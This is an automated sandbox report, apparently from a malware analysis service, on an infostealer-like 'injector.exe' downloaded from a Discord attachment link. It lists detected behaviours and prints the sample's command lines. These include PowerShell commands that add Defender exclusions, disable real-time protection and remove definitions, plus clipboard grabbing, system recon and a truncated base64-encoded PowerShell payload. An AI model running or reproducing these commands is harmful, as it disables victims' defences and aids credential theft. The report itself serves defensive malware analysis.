Analysis
-
max time kernel
104s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 20:29
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://cdn.discordapp.com/attachments/1242657054506877002/1242936957974089960/injector.exe?ex=664fa6bf&is=664e553f&hm=b655e26ed24454dc02e4bac653af0b8d7eff7407dbff0b6c6d2be80546a3393c&
Resource
win10v2004-20240426-en
General
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 5992 powershell.exe 6008 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
injector.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts injector.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Executes dropped EXE 3 IoCs
Processes:
injector.exeinjector.exerar.exepid process 5216 injector.exe 5544 injector.exe 5764 rar.exe -
Loads dropped DLL 18 IoCs
Processes:
injector.exepid process 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe 5544 injector.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\_MEI52162\python312.dll upx behavioral1/memory/5544-170-0x00007FFC3CA70000-0x00007FFC3D148000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI52162\_ctypes.pyd upx behavioral1/memory/5544-217-0x00007FFC4F930000-0x00007FFC4F93F000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI52162\libcrypto-3.dll upx behavioral1/memory/5544-210-0x00007FFC3D9B0000-0x00007FFC3D9D5000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\_MEI52162\libffi-8.dll upx behavioral1/memory/5544-222-0x00007FFC3DBF0000-0x00007FFC3DC1D000-memory.dmp upx behavioral1/memory/5544-223-0x00007FFC3DBD0000-0x00007FFC3DBE9000-memory.dmp upx behavioral1/memory/5544-225-0x00007FFC3C8F0000-0x00007FFC3CA66000-memory.dmp upx behavioral1/memory/5544-224-0x00007FFC3D810000-0x00007FFC3D834000-memory.dmp upx behavioral1/memory/5544-226-0x00007FFC3D970000-0x00007FFC3D989000-memory.dmp upx behavioral1/memory/5544-227-0x00007FFC4CDB0000-0x00007FFC4CDBD000-memory.dmp upx behavioral1/memory/5544-228-0x00007FFC3D460000-0x00007FFC3D493000-memory.dmp upx behavioral1/memory/5544-229-0x00007FFC3D390000-0x00007FFC3D45D000-memory.dmp upx behavioral1/memory/5544-230-0x00007FFC3C3C0000-0x00007FFC3C8E2000-memory.dmp upx behavioral1/memory/5544-233-0x00007FFC3D7F0000-0x00007FFC3D804000-memory.dmp upx behavioral1/memory/5544-235-0x00007FFC49720000-0x00007FFC4972D000-memory.dmp upx behavioral1/memory/5544-234-0x00007FFC3C2A0000-0x00007FFC3C3BB000-memory.dmp upx behavioral1/memory/5544-232-0x00007FFC3CA70000-0x00007FFC3D148000-memory.dmp upx behavioral1/memory/5544-333-0x00007FFC3D9B0000-0x00007FFC3D9D5000-memory.dmp upx behavioral1/memory/5544-355-0x00007FFC3CA70000-0x00007FFC3D148000-memory.dmp upx behavioral1/memory/5544-374-0x00007FFC3DBD0000-0x00007FFC3DBE9000-memory.dmp upx behavioral1/memory/5544-383-0x00007FFC3C2A0000-0x00007FFC3C3BB000-memory.dmp upx behavioral1/memory/5544-382-0x00007FFC3D7F0000-0x00007FFC3D804000-memory.dmp upx behavioral1/memory/5544-381-0x00007FFC3C3C0000-0x00007FFC3C8E2000-memory.dmp upx behavioral1/memory/5544-380-0x00007FFC3D390000-0x00007FFC3D45D000-memory.dmp upx behavioral1/memory/5544-379-0x00007FFC3D460000-0x00007FFC3D493000-memory.dmp upx behavioral1/memory/5544-378-0x00007FFC4CDB0000-0x00007FFC4CDBD000-memory.dmp upx behavioral1/memory/5544-377-0x00007FFC3D970000-0x00007FFC3D989000-memory.dmp upx behavioral1/memory/5544-376-0x00007FFC49720000-0x00007FFC4972D000-memory.dmp upx behavioral1/memory/5544-375-0x00007FFC3C8F0000-0x00007FFC3CA66000-memory.dmp upx behavioral1/memory/5544-373-0x00007FFC3DBF0000-0x00007FFC3DC1D000-memory.dmp upx behavioral1/memory/5544-372-0x00007FFC4F930000-0x00007FFC4F93F000-memory.dmp upx behavioral1/memory/5544-371-0x00007FFC3D9B0000-0x00007FFC3D9D5000-memory.dmp upx behavioral1/memory/5544-370-0x00007FFC3D810000-0x00007FFC3D834000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 68 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Enumerates processes with tasklist 1 TTPs 4 IoCs
Processes:
tasklist.exetasklist.exetasklist.exetasklist.exepid process 5324 tasklist.exe 5540 tasklist.exe 5624 tasklist.exe 6084 tasklist.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
Kills process with taskkill 18 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5852 taskkill.exe 5848 taskkill.exe 5952 taskkill.exe 5408 taskkill.exe 5376 taskkill.exe 6120 taskkill.exe 5680 taskkill.exe 5600 taskkill.exe 5148 taskkill.exe 6116 taskkill.exe 5176 taskkill.exe 5488 taskkill.exe 6016 taskkill.exe 5968 taskkill.exe 5736 taskkill.exe 5676 taskkill.exe 4720 taskkill.exe 5412 taskkill.exe -
NTFS ADS 1 IoCs
Processes:
msedge.exedescription ioc process File opened for modification C:\Users\Admin\Downloads\Unconfirmed 415158.crdownload:SmartScreen msedge.exe -
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
msedge.exemsedge.exeidentity_helper.exemsedge.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2396 msedge.exe 2396 msedge.exe 4156 msedge.exe 4156 msedge.exe 4924 identity_helper.exe 4924 identity_helper.exe 3640 msedge.exe 3640 msedge.exe 6012 powershell.exe 6012 powershell.exe 5992 powershell.exe 5992 powershell.exe 6012 powershell.exe 5992 powershell.exe 5816 powershell.exe 5816 powershell.exe 5816 powershell.exe 6008 powershell.exe 6008 powershell.exe 6008 powershell.exe 5332 powershell.exe 5332 powershell.exe 5332 powershell.exe 4524 powershell.exe 4524 powershell.exe 4524 powershell.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
Processes:
msedge.exepid process 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exetasklist.exetasklist.exeWMIC.exepowershell.exetasklist.exepowershell.exetasklist.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid process Token: SeDebugPrivilege 6012 powershell.exe Token: SeDebugPrivilege 5992 powershell.exe Token: SeDebugPrivilege 5540 tasklist.exe Token: SeDebugPrivilege 5624 tasklist.exe Token: SeIncreaseQuotaPrivilege 5656 WMIC.exe Token: SeSecurityPrivilege 5656 WMIC.exe Token: SeTakeOwnershipPrivilege 5656 WMIC.exe Token: SeLoadDriverPrivilege 5656 WMIC.exe Token: SeSystemProfilePrivilege 5656 WMIC.exe Token: SeSystemtimePrivilege 5656 WMIC.exe Token: SeProfSingleProcessPrivilege 5656 WMIC.exe Token: SeIncBasePriorityPrivilege 5656 WMIC.exe Token: SeCreatePagefilePrivilege 5656 WMIC.exe Token: SeBackupPrivilege 5656 WMIC.exe Token: SeRestorePrivilege 5656 WMIC.exe Token: SeShutdownPrivilege 5656 WMIC.exe Token: SeDebugPrivilege 5656 WMIC.exe Token: SeSystemEnvironmentPrivilege 5656 WMIC.exe Token: SeRemoteShutdownPrivilege 5656 WMIC.exe Token: SeUndockPrivilege 5656 WMIC.exe Token: SeManageVolumePrivilege 5656 WMIC.exe Token: 33 5656 WMIC.exe Token: 34 5656 WMIC.exe Token: 35 5656 WMIC.exe Token: 36 5656 WMIC.exe Token: SeIncreaseQuotaPrivilege 5656 WMIC.exe Token: SeSecurityPrivilege 5656 WMIC.exe Token: SeTakeOwnershipPrivilege 5656 WMIC.exe Token: SeLoadDriverPrivilege 5656 WMIC.exe Token: SeSystemProfilePrivilege 5656 WMIC.exe Token: SeSystemtimePrivilege 5656 WMIC.exe Token: SeProfSingleProcessPrivilege 5656 WMIC.exe Token: SeIncBasePriorityPrivilege 5656 WMIC.exe Token: SeCreatePagefilePrivilege 5656 WMIC.exe Token: SeBackupPrivilege 5656 WMIC.exe Token: SeRestorePrivilege 5656 WMIC.exe Token: SeShutdownPrivilege 5656 WMIC.exe Token: SeDebugPrivilege 5656 WMIC.exe Token: SeSystemEnvironmentPrivilege 5656 WMIC.exe Token: SeRemoteShutdownPrivilege 5656 WMIC.exe Token: SeUndockPrivilege 5656 WMIC.exe Token: SeManageVolumePrivilege 5656 WMIC.exe Token: 33 5656 WMIC.exe Token: 34 5656 WMIC.exe Token: 35 5656 WMIC.exe Token: 36 5656 WMIC.exe Token: SeDebugPrivilege 5816 powershell.exe Token: SeDebugPrivilege 6084 tasklist.exe Token: SeDebugPrivilege 6008 powershell.exe Token: SeDebugPrivilege 5324 tasklist.exe Token: SeDebugPrivilege 5952 taskkill.exe Token: SeDebugPrivilege 5680 taskkill.exe Token: SeDebugPrivilege 5600 taskkill.exe Token: SeDebugPrivilege 4720 taskkill.exe Token: SeDebugPrivilege 6116 taskkill.exe Token: SeDebugPrivilege 5412 taskkill.exe Token: SeDebugPrivilege 5488 taskkill.exe Token: SeDebugPrivilege 6016 taskkill.exe Token: SeDebugPrivilege 5176 taskkill.exe Token: SeDebugPrivilege 5968 taskkill.exe Token: SeDebugPrivilege 5376 taskkill.exe Token: SeDebugPrivilege 5852 taskkill.exe Token: SeDebugPrivilege 5408 taskkill.exe Token: SeDebugPrivilege 5148 taskkill.exe -
Suspicious use of FindShellTrayWindow 40 IoCs
Processes:
msedge.exepid process 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe 4156 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
msedge.exedescription pid process target process PID 4156 wrote to memory of 2448 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 2448 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1040 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 2396 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 2396 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe PID 4156 wrote to memory of 1028 4156 msedge.exe msedge.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 5908 attrib.exe 5444 attrib.exe
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1242657054506877002/1242936957974089960/injector.exe?ex=664fa6bf&is=664e553f&hm=b655e26ed24454dc02e4bac653af0b8d7eff7407dbff0b6c6d2be80546a3393c&1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xd8,0x114,0x7ffc502e46f8,0x7ffc502e4708,0x7ffc502e47182⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:22⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:32⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2664 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5136 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5480 /prefetch:82⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4216 /prefetch:12⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3452 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2136,17405663459814724574,13783238869129950159,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5952 /prefetch:82⤵
-
C:\Users\Admin\Downloads\injector.exe"C:\Users\Admin\Downloads\injector.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\injector.exe"C:\Users\Admin\Downloads\injector.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\injector.exe'"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\injector.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('whitelisted', 0, 'injector', 16+16);close()""4⤵
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('whitelisted', 0, 'injector', 16+16);close()"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"4⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"4⤵
-
C:\Windows\system32\tree.comtree /A /F5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"4⤵
-
C:\Windows\system32\systeminfo.exesysteminfo5⤵
- Gathers system information
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQ